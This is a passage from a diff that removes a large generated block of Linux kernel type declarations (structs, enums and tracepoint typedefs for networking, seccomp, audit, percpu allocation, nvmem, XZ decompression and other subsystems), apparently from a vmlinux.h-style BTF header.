TCA_PEDIT_KEY_EX_CMD_ADD = 1, - __PEDIT_CMD_MAX = 2, -}; - -struct tc_pedit_key { - __u32 mask; - __u32 val; - __u32 off; - __u32 at; - __u32 offmask; - __u32 shift; -}; - -struct tcf_pedit_key_ex { - enum pedit_header_type htype; - enum pedit_cmd cmd; -}; - -struct tcf_pedit { - struct tc_action common; - unsigned char tcfp_nkeys; - unsigned char tcfp_flags; - u32 tcfp_off_max_hint; - struct tc_pedit_key *tcfp_keys; - struct tcf_pedit_key_ex *tcfp_keys_ex; - long: 64; -}; - -struct tcf_filter_chain_list_item { - struct list_head list; - tcf_chain_head_change_t *chain_head_change; - void *chain_head_change_priv; -}; - -struct tcf_net { - spinlock_t idr_lock; - struct idr idr; -}; - -struct tcf_block_owner_item { - struct list_head list; - struct Qdisc *q; - enum flow_block_binder_type binder_type; -}; - -struct tcf_chain_info { - struct tcf_proto **pprev; - struct tcf_proto *next; -}; - -struct tcf_dump_args { - struct tcf_walker w; - struct sk_buff *skb; - struct netlink_callback *cb; - struct tcf_block *block; - struct Qdisc *q; - u32 parent; - bool terse_dump; -}; - -struct trace_event_raw_x86_irq_vector { - struct trace_entry ent; - int vector; - char __data[0]; -}; - -struct trace_event_raw_vector_config { - struct trace_entry ent; - unsigned int irq; - unsigned int vector; - unsigned int cpu; - unsigned int apicdest; - char __data[0]; -}; - -struct trace_event_raw_vector_mod { - struct trace_entry ent; - unsigned int irq; - unsigned int vector; - unsigned int cpu; - unsigned int prev_vector; - unsigned int prev_cpu; - char __data[0]; -}; - -struct trace_event_raw_vector_reserve { - struct trace_entry ent; - unsigned int irq; - int ret; - char __data[0]; -}; - -struct trace_event_raw_vector_alloc { - struct trace_entry ent; - unsigned int irq; - unsigned int vector; - bool reserved; - int ret; - char __data[0]; -}; - -struct trace_event_raw_vector_alloc_managed { - struct trace_entry ent; - unsigned int irq; - unsigned int vector; - int ret; - char __data[0]; -}; - -struct trace_event_raw_vector_activate { - struct trace_entry ent; - unsigned int irq; - bool is_managed; - bool can_reserve; - bool reserve; - char __data[0]; -}; - -struct trace_event_raw_vector_teardown { - struct trace_entry ent; - unsigned int irq; - bool is_managed; - bool has_reserved; - char __data[0]; -}; - -struct trace_event_raw_vector_setup { - struct trace_entry ent; - unsigned int irq; - bool is_legacy; - int ret; - char __data[0]; -}; - -struct trace_event_raw_vector_free_moved { - struct trace_entry ent; - unsigned int irq; - unsigned int cpu; - unsigned int vector; - bool is_managed; - char __data[0]; -}; - -struct trace_event_data_offsets_x86_irq_vector {}; - -struct trace_event_data_offsets_vector_config {}; - -struct trace_event_data_offsets_vector_mod {}; - -struct trace_event_data_offsets_vector_reserve {}; - -struct trace_event_data_offsets_vector_alloc {}; - -struct trace_event_data_offsets_vector_alloc_managed {}; - -struct trace_event_data_offsets_vector_activate {}; - -struct trace_event_data_offsets_vector_teardown {}; - -struct trace_event_data_offsets_vector_setup {}; - -struct trace_event_data_offsets_vector_free_moved {}; - -typedef void (*btf_trace_local_timer_entry)(void *, int); - -typedef void (*btf_trace_local_timer_exit)(void *, int); - -typedef void (*btf_trace_spurious_apic_entry)(void *, int); - -typedef void (*btf_trace_spurious_apic_exit)(void *, int); - -typedef void (*btf_trace_error_apic_entry)(void *, int); - -typedef void (*btf_trace_error_apic_exit)(void *, int); - -typedef void (*btf_trace_x86_platform_ipi_entry)(void *, int); - -typedef void (*btf_trace_x86_platform_ipi_exit)(void *, int); - -typedef void (*btf_trace_irq_work_entry)(void *, int); - -typedef void (*btf_trace_irq_work_exit)(void *, int); - -typedef void (*btf_trace_reschedule_entry)(void *, int); - -typedef void (*btf_trace_reschedule_exit)(void *, int); - -typedef void (*btf_trace_call_function_entry)(void *, int); - -typedef void (*btf_trace_call_function_exit)(void *, int); - -typedef void (*btf_trace_call_function_single_entry)(void *, int); - -typedef void (*btf_trace_call_function_single_exit)(void *, int); - -typedef void (*btf_trace_threshold_apic_entry)(void *, int); - -typedef void (*btf_trace_threshold_apic_exit)(void *, int); - -typedef void (*btf_trace_deferred_error_apic_entry)(void *, int); - -typedef void (*btf_trace_deferred_error_apic_exit)(void *, int); - -typedef void (*btf_trace_thermal_apic_entry)(void *, int); - -typedef void (*btf_trace_thermal_apic_exit)(void *, int); - -typedef void (*btf_trace_vector_config)(void *, unsigned int, unsigned int, unsigned int, unsigned int); - -typedef void (*btf_trace_vector_update)(void *, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int); - -typedef void (*btf_trace_vector_clear)(void *, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int); - -typedef void (*btf_trace_vector_reserve_managed)(void *, unsigned int, int); - -typedef void (*btf_trace_vector_reserve)(void *, unsigned int, int); - -typedef void (*btf_trace_vector_alloc)(void *, unsigned int, unsigned int, bool, int); - -typedef void (*btf_trace_vector_alloc_managed)(void *, unsigned int, unsigned int, int); - -typedef void (*btf_trace_vector_activate)(void *, unsigned int, bool, bool, bool); - -typedef void (*btf_trace_vector_deactivate)(void *, unsigned int, bool, bool, bool); - -typedef void (*btf_trace_vector_teardown)(void *, unsigned int, bool, bool); - -typedef void (*btf_trace_vector_setup)(void *, unsigned int, bool, int); - -typedef void (*btf_trace_vector_free_moved)(void *, unsigned int, unsigned int, unsigned int, bool); - -struct seccomp_notif_sizes { - __u16 seccomp_notif; - __u16 seccomp_notif_resp; - __u16 seccomp_data; -}; - -struct seccomp_notif { - __u64 id; - __u32 pid; - __u32 flags; - struct seccomp_data data; -}; - -struct seccomp_notif_resp { - __u64 id; - __s64 val; - __s32 error; - __u32 flags; -}; - -struct seccomp_notif_addfd { - __u64 id; - __u32 flags; - __u32 srcfd; - __u32 newfd; - __u32 newfd_flags; -}; - -struct action_cache { - long unsigned int allow_native[8]; -}; - -struct notification; - -struct seccomp_filter { - refcount_t refs; - refcount_t users; - bool log; - bool wait_killable_recv; - struct action_cache cache; - struct seccomp_filter *prev; - struct bpf_prog *prog; - struct notification *notif; - struct mutex notify_lock; - wait_queue_head_t wqh; -}; - -enum notify_state { - SECCOMP_NOTIFY_INIT = 0, - SECCOMP_NOTIFY_SENT = 1, - SECCOMP_NOTIFY_REPLIED = 2, -}; - -struct seccomp_knotif { - struct task_struct *task; - u64 id; - const struct seccomp_data *data; - enum notify_state state; - int error; - long int val; - u32 flags; - struct completion ready; - struct list_head list; - struct list_head addfd; -}; - -struct seccomp_kaddfd { - struct file *file; - int fd; - unsigned int flags; - __u32 ioctl_flags; - union { - bool setfd; - int ret; - }; - struct completion completion; - struct list_head list; -}; - -struct notification { - struct semaphore request; - u64 next_id; - struct list_head notifications; -}; - -struct seccomp_log_name { - u32 log; - const char *name; -}; - -struct nodemask_scratch { - nodemask_t mask1; - nodemask_t mask2; -}; - -struct sp_node { - struct rb_node nd; - long unsigned int start; - long unsigned int end; - struct mempolicy *policy; -}; - -struct mempolicy_operations { - int (*create)(struct mempolicy *, const nodemask_t *); - void (*rebind)(struct mempolicy *, const nodemask_t *); -}; - -struct queue_pages { - struct list_head *pagelist; - long unsigned int flags; - nodemask_t *nmask; - long unsigned int start; - long unsigned int end; - struct vm_area_struct *first; -}; - -struct prepend_buffer { - char *buf; - int len; -}; - -struct dnotify_struct { - struct dnotify_struct *dn_next; - __u32 dn_mask; - int dn_fd; - struct file *dn_filp; - fl_owner_t dn_owner; -}; - -struct dnotify_mark { - struct fsnotify_mark fsn_mark; - struct dnotify_struct *dn; -}; - -enum resctrl_conf_type { - CDP_NONE = 0, - CDP_CODE = 1, - CDP_DATA = 2, -}; - -struct pid_entry { - const char *name; - unsigned int len; - umode_t mode; - const struct inode_operations *iop; - const struct file_operations *fop; - union proc_op op; -}; - -struct limit_names { - const char *name; - const char *unit; -}; - -struct map_files_info { - long unsigned int start; - long unsigned int end; - fmode_t mode; -}; - -struct tgid_iter { - unsigned int tgid; - struct task_struct *task; -}; - -struct request_key_auth { - struct callback_head rcu; - struct key *target_key; - struct key *dest_keyring; - const struct cred *cred; - void *callout_info; - size_t callout_len; - pid_t pid; - char op[8]; -}; - -struct assoc_array_edit; - -enum { - IORING_MSG_DATA = 0, - IORING_MSG_SEND_FD = 1, -}; - -struct io_msg { - struct file *file; - u64 user_data; - u32 len; - u32 cmd; - u32 src_fd; - u32 dst_fd; - u32 flags; -}; - -struct brd_device { - int brd_number; - struct gendisk *brd_disk; - struct list_head brd_list; - spinlock_t brd_lock; - struct xarray brd_pages; - u64 brd_nr_pages; -}; - -struct ip_options_data { - struct ip_options_rcu opt; - char data[40]; -}; - -struct ipcm_cookie { - struct sockcm_cookie sockc; - __be32 addr; - int oif; - struct ip_options_rcu *opt; - __u8 ttl; - __s16 tos; - char priority; - __u16 gso_size; -}; - -struct bpf_iter__udp { - union { - struct bpf_iter_meta *meta; - }; - union { - struct udp_sock *udp_sk; - }; - uid_t uid; - long: 0; - int bucket; -}; - -struct irq_stack { - char stack[16384]; -}; - -enum pconfig_target { - INVALID_TARGET = 0, - MKTME_TARGET = 1, - PCONFIG_TARGET_NR = 2, -}; - -enum { - PCONFIG_CPUID_SUBLEAF_INVALID = 0, - PCONFIG_CPUID_SUBLEAF_TARGETID = 1, -}; - -struct fixed_range_block { - int base_msr; - int ranges; -}; - -struct amd_northbridge_info { - u16 num; - u64 flags; - struct amd_northbridge *nb; -}; - -struct __user_cap_header_struct { - __u32 version; - int pid; -}; - -typedef struct __user_cap_header_struct *cap_user_header_t; - -struct __user_cap_data_struct { - __u32 effective; - __u32 permitted; - __u32 inheritable; -}; - -typedef struct __user_cap_data_struct *cap_user_data_t; - -enum { - PER_LINUX = 0, - PER_LINUX_32BIT = 8388608, - PER_LINUX_FDPIC = 524288, - PER_SVR4 = 68157441, - PER_SVR3 = 83886082, - PER_SCOSVR3 = 117440515, - PER_OSR5 = 100663299, - PER_WYSEV386 = 83886084, - PER_ISCR4 = 67108869, - PER_BSD = 6, - PER_SUNOS = 67108870, - PER_XENIX = 83886087, - PER_LINUX32 = 8, - PER_LINUX32_3GB = 134217736, - PER_IRIX32 = 67108873, - PER_IRIXN32 = 67108874, - PER_IRIX64 = 67108875, - PER_RISCOS = 12, - PER_SOLARIS = 67108877, - PER_UW7 = 68157454, - PER_OSF4 = 15, - PER_HPUX = 16, - PER_MASK = 255, -}; - -struct cpu_vfs_cap_data { - __u32 magic_etc; - kernel_cap_t permitted; - kernel_cap_t inheritable; - kuid_t rootid; -}; - -enum auditsc_class_t { - AUDITSC_NATIVE = 0, - AUDITSC_COMPAT = 1, - AUDITSC_OPEN = 2, - AUDITSC_OPENAT = 3, - AUDITSC_SOCKETCALL = 4, - AUDITSC_EXECVE = 5, - AUDITSC_OPENAT2 = 6, - AUDITSC_NVALS = 7, -}; - -struct audit_aux_data { - struct audit_aux_data *next; - int type; -}; - -struct audit_chunk; - -struct audit_tree_refs { - struct audit_tree_refs *next; - struct audit_chunk *c[31]; -}; - -struct audit_aux_data_pids { - struct audit_aux_data d; - pid_t target_pid[16]; - kuid_t target_auid[16]; - kuid_t target_uid[16]; - unsigned int target_sessionid[16]; - u32 target_sid[16]; - char target_comm[256]; - int pid_count; -}; - -struct audit_aux_data_bprm_fcaps { - struct audit_aux_data d; - struct audit_cap_data fcap; - unsigned int fcap_ver; - struct audit_cap_data old_pcap; - struct audit_cap_data new_pcap; -}; - -struct audit_nfcfgop_tab { - enum audit_nfcfgop op; - const char *s; -}; - -struct pcpu_group_info { - int nr_units; - long unsigned int base_offset; - unsigned int *cpu_map; -}; - -struct pcpu_alloc_info { - size_t static_size; - size_t reserved_size; - size_t dyn_size; - size_t unit_size; - size_t atom_size; - size_t alloc_size; - size_t __ai_size; - int nr_groups; - struct pcpu_group_info groups[0]; -}; - -typedef int pcpu_fc_cpu_to_node_fn_t(int); - -typedef int pcpu_fc_cpu_distance_fn_t(unsigned int, unsigned int); - -struct trace_event_raw_percpu_alloc_percpu { - struct trace_entry ent; - long unsigned int call_site; - bool reserved; - bool is_atomic; - size_t size; - size_t align; - void *base_addr; - int off; - void *ptr; - size_t bytes_alloc; - long unsigned int gfp_flags; - char __data[0]; -}; - -struct trace_event_raw_percpu_free_percpu { - struct trace_entry ent; - void *base_addr; - int off; - void *ptr; - char __data[0]; -}; - -struct trace_event_raw_percpu_alloc_percpu_fail { - struct trace_entry ent; - bool reserved; - bool is_atomic; - size_t size; - size_t align; - char __data[0]; -}; - -struct trace_event_raw_percpu_create_chunk { - struct trace_entry ent; - void *base_addr; - char __data[0]; -}; - -struct trace_event_raw_percpu_destroy_chunk { - struct trace_entry ent; - void *base_addr; - char __data[0]; -}; - -struct trace_event_data_offsets_percpu_alloc_percpu {}; - -struct trace_event_data_offsets_percpu_free_percpu {}; - -struct trace_event_data_offsets_percpu_alloc_percpu_fail {}; - -struct trace_event_data_offsets_percpu_create_chunk {}; - -struct trace_event_data_offsets_percpu_destroy_chunk {}; - -typedef void (*btf_trace_percpu_alloc_percpu)(void *, long unsigned int, bool, bool, size_t, size_t, void *, int, void *, size_t, gfp_t); - -typedef void (*btf_trace_percpu_free_percpu)(void *, void *, int, void *); - -typedef void (*btf_trace_percpu_alloc_percpu_fail)(void *, bool, bool, size_t, size_t); - -typedef void (*btf_trace_percpu_create_chunk)(void *, void *); - -typedef void (*btf_trace_percpu_destroy_chunk)(void *, void *); - -struct pcpu_block_md { - int scan_hint; - int scan_hint_start; - int contig_hint; - int contig_hint_start; - int left_free; - int right_free; - int first_free; - int nr_bits; -}; - -struct pcpu_chunk { - struct list_head list; - int free_bytes; - struct pcpu_block_md chunk_md; - void *base_addr; - long unsigned int *alloc_map; - long unsigned int *bound_map; - struct pcpu_block_md *md_blocks; - void *data; - bool immutable; - bool isolated; - int start_offset; - int end_offset; - struct obj_cgroup **obj_cgroups; - int nr_pages; - int nr_populated; - int nr_empty_pop_pages; - long unsigned int populated[0]; -}; - -struct arch_elf_state {}; - -struct memelfnote { - const char *name; - int type; - unsigned int datasz; - void *data; -}; - -struct elf_thread_core_info { - struct elf_thread_core_info *next; - struct task_struct *task; - struct elf_prstatus prstatus; - struct memelfnote notes[0]; -}; - -struct elf_note_info { - struct elf_thread_core_info *thread; - struct memelfnote psinfo; - struct memelfnote signote; - struct memelfnote auxv; - struct memelfnote files; - siginfo_t csigdata; - size_t size; - int thread_notes; -}; - -struct ipc_proc_iface { - const char *path; - const char *header; - int ids; - int (*show)(struct seq_file *, void *); -}; - -struct ipc_proc_iter { - struct ipc_namespace *ns; - struct pid_namespace *pid_ns; - struct ipc_proc_iface *iface; -}; - -enum data_formats { - DATA_FMT_DIGEST = 0, - DATA_FMT_DIGEST_WITH_ALGO = 1, - DATA_FMT_DIGEST_WITH_TYPE_AND_ALGO = 2, - DATA_FMT_STRING = 3, - DATA_FMT_HEX = 4, - DATA_FMT_UINT = 5, -}; - -enum digest_type { - DIGEST_TYPE_IMA = 0, - DIGEST_TYPE_VERITY = 1, - DIGEST_TYPE__LAST = 2, -}; - -struct d_partition { - __le32 p_res; - u8 p_fstype; - u8 p_res2[3]; - __le32 p_offset; - __le32 p_size; -}; - -struct disklabel { - u8 d_reserved[270]; - struct d_partition d_partitions[2]; - u8 d_blank[208]; - __le16 d_magic; -} __attribute__((packed)); - -struct subsys_dev_iter { - struct klist_iter ki; - const struct device_type *type; -}; - -typedef void (*irq_write_msi_msg_t)(struct msi_desc *, struct msi_msg *); - -struct platform_msi_priv_data { - struct device *dev; - void *host_data; - msi_alloc_info_t arg; - irq_write_msi_msg_t write_msg; - int devid; -}; - -struct efi_runtime_map_entry { - efi_memory_desc_t md; - struct kobject kobj; -}; - -struct map_attribute { - struct attribute attr; - ssize_t (*show)(struct efi_runtime_map_entry *, char *); -}; - -struct nvmem_cell_info { - const char *name; - unsigned int offset; - unsigned int bytes; - unsigned int bit_offset; - unsigned int nbits; - struct device_node *np; -}; - -struct nvmem_cell_lookup { - const char *nvmem_name; - const char *cell_name; - const char *dev_id; - const char *con_id; - struct list_head node; -}; - -enum { - NVMEM_ADD = 1, - NVMEM_REMOVE = 2, - NVMEM_CELL_ADD = 3, - NVMEM_CELL_REMOVE = 4, -}; - -typedef int (*nvmem_reg_read_t)(void *, unsigned int, void *, size_t); - -typedef int (*nvmem_reg_write_t)(void *, unsigned int, void *, size_t); - -typedef int (*nvmem_cell_post_process_t)(void *, const char *, unsigned int, void *, size_t); - -enum nvmem_type { - NVMEM_TYPE_UNKNOWN = 0, - NVMEM_TYPE_EEPROM = 1, - NVMEM_TYPE_OTP = 2, - NVMEM_TYPE_BATTERY_BACKED = 3, - NVMEM_TYPE_FRAM = 4, -}; - -struct nvmem_keepout { - unsigned int start; - unsigned int end; - unsigned char value; -}; - -struct nvmem_config { - struct device *dev; - const char *name; - int id; - struct module *owner; - struct gpio_desc *wp_gpio; - const struct nvmem_cell_info *cells; - int ncells; - const struct nvmem_keepout *keepout; - unsigned int nkeepout; - enum nvmem_type type; - bool read_only; - bool root_only; - bool ignore_wp; - struct device_node *of_node; - bool no_of_node; - nvmem_reg_read_t reg_read; - nvmem_reg_write_t reg_write; - nvmem_cell_post_process_t cell_post_process; - int size; - int word_size; - int stride; - void *priv; - bool compat; - struct device *base_dev; -}; - -struct nvmem_cell_table { - const char *nvmem_name; - const struct nvmem_cell_info *cells; - size_t ncells; - struct list_head node; -}; - -struct nvmem_device { - struct module *owner; - struct device dev; - int stride; - int word_size; - int id; - struct kref refcnt; - size_t size; - bool read_only; - bool root_only; - int flags; - enum nvmem_type type; - struct bin_attribute eeprom; - struct device *base_dev; - struct list_head cells; - const struct nvmem_keepout *keepout; - unsigned int nkeepout; - nvmem_reg_read_t reg_read; - nvmem_reg_write_t reg_write; - nvmem_cell_post_process_t cell_post_process; - struct gpio_desc *wp_gpio; - void *priv; -}; - -struct nvmem_cell_entry { - const char *name; - int offset; - int bytes; - int bit_offset; - int nbits; - struct device_node *np; - struct nvmem_device *nvmem; - struct list_head node; -}; - -struct nvmem_cell { - struct nvmem_cell_entry *entry; - const char *id; -}; - -enum tc_link_layer { - TC_LINKLAYER_UNAWARE = 0, - TC_LINKLAYER_ETHERNET = 1, - TC_LINKLAYER_ATM = 2, -}; - -struct tc_ratespec { - unsigned char cell_log; - __u8 linklayer; - short unsigned int overhead; - short int cell_align; - short unsigned int mpu; - __u32 rate; -}; - -enum { - TCA_STAB_UNSPEC = 0, - TCA_STAB_BASE = 1, - TCA_STAB_DATA = 2, - __TCA_STAB_MAX = 3, -}; - -struct qdisc_rate_table { - struct tc_ratespec rate; - u32 data[256]; - struct qdisc_rate_table *next; - int refcnt; -}; - -struct Qdisc_class_common { - u32 classid; - struct hlist_node hnode; -}; - -struct Qdisc_class_hash { - struct hlist_head *hash; - unsigned int hashsize; - unsigned int hashmask; - unsigned int hashelems; -}; - -struct qdisc_watchdog { - u64 last_expires; - struct hrtimer timer; - struct Qdisc *qdisc; -}; - -struct tc_query_caps_base { - enum tc_setup_type type; - void *caps; -}; - -enum tc_root_command { - TC_ROOT_GRAFT = 0, -}; - -struct tc_root_qopt_offload { - enum tc_root_command command; - u32 handle; - bool ingress; -}; - -struct check_loop_arg { - struct qdisc_walker w; - struct Qdisc *p; - int depth; -}; - -struct tcf_bind_args { - struct tcf_walker w; - long unsigned int base; - long unsigned int cl; - u32 classid; -}; - -struct tc_bind_class_args { - struct qdisc_walker w; - long unsigned int new_cl; - u32 portid; - u32 clid; -}; - -struct qdisc_dump_args { - struct qdisc_walker w; - struct sk_buff *skb; - struct netlink_callback *cb; -}; - -enum cpio_fields { - C_MAGIC = 0, - C_INO = 1, - C_MODE = 2, - C_UID = 3, - C_GID = 4, - C_NLINK = 5, - C_MTIME = 6, - C_FILESIZE = 7, - C_MAJ = 8, - C_MIN = 9, - C_RMAJ = 10, - C_RMIN = 11, - C_NAMESIZE = 12, - C_CHKSUM = 13, - C_NFIELDS = 14, -}; - -struct klist_waiter { - struct list_head list; - struct klist_node *node; - struct task_struct *process; - int woken; -}; - -struct estack_pages { - u32 offs; - u16 size; - u16 type; -}; - -enum { - IORES_MAP_SYSTEM_RAM = 1, - IORES_MAP_ENCRYPTED = 2, -}; - -struct ioremap_desc { - unsigned int flags; -}; - -enum tick_broadcast_mode { - TICK_BROADCAST_OFF = 0, - TICK_BROADCAST_ON = 1, - TICK_BROADCAST_FORCE = 2, -}; - -struct ftrace_func_entry { - struct hlist_node hlist; - long unsigned int ip; - long unsigned int direct; -}; - -struct ftrace_graph_ent_entry { - struct trace_entry ent; - struct ftrace_graph_ent graph_ent; -}; - -struct ftrace_graph_ret_entry { - struct trace_entry ent; - struct ftrace_graph_ret ret; -}; - -enum { - FTRACE_HASH_FL_MOD = 1, -}; - -struct fgraph_cpu_data { - pid_t last_pid; - int depth; - int depth_irq; - int ignore; - long unsigned int enter_funcs[50]; -}; - -struct fgraph_data { - struct fgraph_cpu_data *cpu_data; - struct ftrace_graph_ent_entry ent; - struct ftrace_graph_ret_entry ret; - int failed; - int cpu; - long: 0; -} __attribute__((packed)); - -enum { - FLAGS_FILL_FULL = 268435456, - FLAGS_FILL_START = 536870912, - FLAGS_FILL_END = 805306368, -}; - -struct pkcs7_message; - -struct trace_event_raw_mm_lru_insertion { - struct trace_entry ent; - struct folio *folio; - long unsigned int pfn; - enum lru_list lru; - long unsigned int flags; - char __data[0]; -}; - -struct trace_event_raw_mm_lru_activate { - struct trace_entry ent; - struct folio *folio; - long unsigned int pfn; - char __data[0]; -}; - -struct trace_event_data_offsets_mm_lru_insertion {}; - -struct trace_event_data_offsets_mm_lru_activate {}; - -typedef void (*btf_trace_mm_lru_insertion)(void *, struct folio *); - -typedef void (*btf_trace_mm_lru_activate)(void *, struct folio *); - -struct lru_rotate { - local_lock_t lock; - struct folio_batch fbatch; -}; - -struct cpu_fbatches { - local_lock_t lock; - struct folio_batch lru_add; - struct folio_batch lru_deactivate_file; - struct folio_batch lru_deactivate; - struct folio_batch lru_lazyfree; - struct folio_batch activate; -}; - -typedef void (*move_fn_t)(struct lruvec *, struct folio *); - -struct mb_cache { - struct hlist_bl_head *c_hash; - int c_bucket_bits; - long unsigned int c_max_entries; - spinlock_t c_list_lock; - struct list_head c_list; - long unsigned int c_entry_count; - struct shrinker c_shrink; - struct work_struct c_shrink_work; -}; - -struct iomap_swapfile_info { - struct iomap iomap; - struct swap_info_struct *sis; - uint64_t lowest_ppage; - uint64_t highest_ppage; - long unsigned int nr_pages; - int nr_extents; - struct file *file; -}; - -enum p9_open_mode_t { - P9_OREAD = 0, - P9_OWRITE = 1, - P9_ORDWR = 2, - P9_OEXEC = 3, - P9_OTRUNC = 16, - P9_OREXEC = 32, - P9_ORCLOSE = 64, - P9_OAPPEND = 128, - P9_OEXCL = 4096, -}; - -enum rsapubkey_actions { - ACT_rsa_get_e___2 = 0, - ACT_rsa_get_n___2 = 1, - NR__rsapubkey_actions = 2, -}; - -struct rsa_key { - const u8 *n; - const u8 *e; - const u8 *d; - const u8 *p; - const u8 *q; - const u8 *dp; - const u8 *dq; - const u8 *qinv; - size_t n_sz; - size_t e_sz; - size_t d_sz; - size_t p_sz; - size_t q_sz; - size_t dp_sz; - size_t dq_sz; - size_t qinv_sz; -}; - -struct rsa_mpi_key { - MPI n; - MPI e; - MPI d; - MPI p; - MPI q; - MPI dp; - MPI dq; - MPI qinv; -}; - -typedef ZSTD_ErrorCode ERR_enum; - -enum lzma_state { - STATE_LIT_LIT = 0, - STATE_MATCH_LIT_LIT = 1, - STATE_REP_LIT_LIT = 2, - STATE_SHORTREP_LIT_LIT = 3, - STATE_MATCH_LIT = 4, - STATE_REP_LIT = 5, - STATE_SHORTREP_LIT = 6, - STATE_LIT_MATCH = 7, - STATE_LIT_LONGREP = 8, - STATE_LIT_SHORTREP = 9, - STATE_NONLIT_MATCH = 10, - STATE_NONLIT_REP = 11, -}; - -struct dictionary { - uint8_t *buf; - size_t start; - size_t pos; - size_t full; - size_t limit; - size_t end; - uint32_t size; - uint32_t size_max; - uint32_t allocated; - enum xz_mode mode; -}; - -struct rc_dec { - uint32_t range; - uint32_t code; - uint32_t init_bytes_left; - const uint8_t *in; - size_t in_pos; - size_t in_limit; -}; - -struct lzma_len_dec { - uint16_t choice; - uint16_t choice2; - uint16_t low[128]; - uint16_t mid[128]; - uint16_t high[256]; -}; - -struct lzma_dec { - uint32_t rep0; - uint32_t rep1; - uint32_t rep2; - uint32_t rep3; - enum lzma_state state; - uint32_t len; - uint32_t lc; - uint32_t literal_pos_mask; - uint32_t pos_mask; - uint16_t is_match[192]; - uint16_t is_rep[12]; - uint16_t is_rep0[12]; - uint16_t is_rep1[12]; - uint16_t is_rep2[12]; - uint16_t is_rep0_long[192]; - uint16_t dist_slot[256]; - uint16_t dist_special[114]; - uint16_t dist_align[16]; - struct lzma_len_dec match_len_dec; - struct lzma_len_dec rep_len_dec; - uint16_t literal[12288]; -}; - -enum lzma2_seq { - SEQ_CONTROL = 0, - SEQ_UNCOMPRESSED_1 = 1, - SEQ_UNCOMPRESSED_2 = 2, - SEQ_COMPRESSED_0 = 3, - SEQ_COMPRESSED_1 = 4, - SEQ_PROPERTIES = 5, - SEQ_LZMA_PREPARE = 6, - SEQ_LZMA_RUN = 7, - SEQ_COPY = 8, -}; - -struct lzma2_dec { - enum lzma2_seq sequence; - enum lzma2_seq next_sequence; - uint32_t uncompressed; - uint32_t compressed; - bool need_dict_reset; - bool need_props; -}; - -struct xz_dec_lzma2 { - struct rc_dec rc; - struct dictionary dict; - struct lzma2_dec lzma2; - struct lzma_dec lzma; - struct { - uint32_t size; - uint8_t buf[63]; - } temp; -}; - -struct barrett_ctx_s; - -typedef struct barrett_ctx_s *mpi_barrett_t___2; - -struct barrett_ctx_s { - MPI m; - int m_copied; - int k; - MPI y; - MPI r1; - MPI r2; - MPI r3; -}; - -struct vga_device { - struct list_head list; - struct pci_dev *pdev; - unsigned int decodes; - unsigned int owns; - unsigned int locks; - unsigned int io_lock_cnt; - unsigned int mem_lock_cnt; - unsigned int io_norm_cnt; - unsigned int mem_norm_cnt; - bool bridge_has_one_vga; - bool is_firmware_default; - unsigned int (*set_decode)(struct pci_dev *, bool); -}; - -struct vga_arb_user_card { - struct pci_dev *pdev; - unsigned int mem_cnt; - unsigned int io_cnt; -}; - -struct vga_arb_private { - struct list_head list; - struct pci_dev *target; - struct vga_arb_user_card cards[16]; - spinlock_t lock; -}; - -struct acpi_s2idle_dev_ops { - struct list_head list_node; - void (*prepare)(); - void (*check)(); - void (*restore)(); -}; - -struct lpi_device_info { - char *name; - int enabled; - union acpi_object *package; -}; - -struct lpi_device_constraint { - int uid; - int min_dstate; - int function_states; -}; - -struct lpi_constraints { - acpi_handle handle; - int min_dstate; -}; - -struct lpi_device_constraint_amd { - char *name; - int enabled; - int function_states; - int min_dstate; -}; - -struct amd_lps0_hid_device_data { - const unsigned int rev_id; - const bool check_off_by_one; - const bool prefer_amd_guid; -}; - -struct mc146818_get_time_callback_param { - struct rtc_time *time; - unsigned char ctrl; - unsigned char century; -}; - -struct cyclecounter { - u64 (*read)(const struct cyclecounter *); - u64 mask; - u32 mult; - u32 shift; -}; - -struct timecounter { - const struct cyclecounter *cc; - u64 cycle_last; - u64 nsec; - u64 mask; - u64 frac; -}; - -struct ptp_vclock { - struct ptp_clock *pclock; - struct ptp_clock_info info; - struct ptp_clock *clock; - struct hlist_node vclock_hash_node; - struct cyclecounter cc; - struct timecounter tc; - spinlock_t lock; -}; - -struct ms_data { - long unsigned int quirks; - struct hid_device *hdev; - struct work_struct ff_worker; - __u8 strong; - __u8 weak; - void *output_report_dmabuf; -}; - -enum { - MAGNITUDE_STRONG = 2, - MAGNITUDE_WEAK = 3, - MAGNITUDE_NUM = 4, -}; - -struct xb1s_ff_report { - __u8 report_id; - __u8 enable; - __u8 magnitude[4]; - __u8 duration_10ms; - __u8 start_delay_10ms; - __u8 loop_count; -}; - -enum hwtstamp_tx_types { - HWTSTAMP_TX_OFF = 0, - HWTSTAMP_TX_ON = 1, - HWTSTAMP_TX_ONESTEP_SYNC = 2, - HWTSTAMP_TX_ONESTEP_P2P = 3, - __HWTSTAMP_TX_CNT = 4, -}; - -enum hwtstamp_rx_filters { - HWTSTAMP_FILTER_NONE = 0, - HWTSTAMP_FILTER_ALL = 1, - HWTSTAMP_FILTER_SOME = 2, - HWTSTAMP_FILTER_PTP_V1_L4_EVENT = 3, - HWTSTAMP_FILTER_PTP_V1_L4_SYNC = 4, - HWTSTAMP_FILTER_PTP_V1_L4_DELAY_REQ = 5, - HWTSTAMP_FILTER_PTP_V2_L4_EVENT = 6, - HWTSTAMP_FILTER_PTP_V2_L4_SYNC = 7, - HWTSTAMP_FILTER_PTP_V2_L4_DELAY_REQ = 8, - HWTSTAMP_FILTER_PTP_V2_L2_EVENT = 9, - HWTSTAMP_FILTER_PTP_V2_L2_SYNC = 10, - HWTSTAMP_FILTER_PTP_V2_L2_DELAY_REQ = 11, - HWTSTAMP_FILTER_PTP_V2_EVENT = 12, - HWTSTAMP_FILTER_PTP_V2_SYNC = 13, - HWTSTAMP_FILTER_PTP_V2_DELAY_REQ = 14, - HWTSTAMP_FILTER_NTP_ALL = 15, - __HWTSTAMP_FILTER_CNT = 16, -}; - -struct tsinfo_reply_data { - struct ethnl_reply_data base; - struct ethtool_ts_info ts_info; -}; - -struct p9_fd_opts { - int rfd; - int wfd; - u16 port; - bool privport; -}; - -enum { - Opt_port = 0, - Opt_rfdno = 1, - Opt_wfdno = 2, - Opt_err___7 = 3, - Opt_privport = 4, -}; - -enum { - Rworksched = 1, - Rpending = 2, - Wworksched = 4, - Wpending = 8, -}; - -struct p9_conn; - -struct p9_poll_wait { - struct p9_conn *conn; - wait_queue_entry_t wait; - wait_queue_head_t *wait_addr; -}; - -struct p9_conn { - struct list_head mux_list; - struct p9_client *client; - int err; - spinlock_t 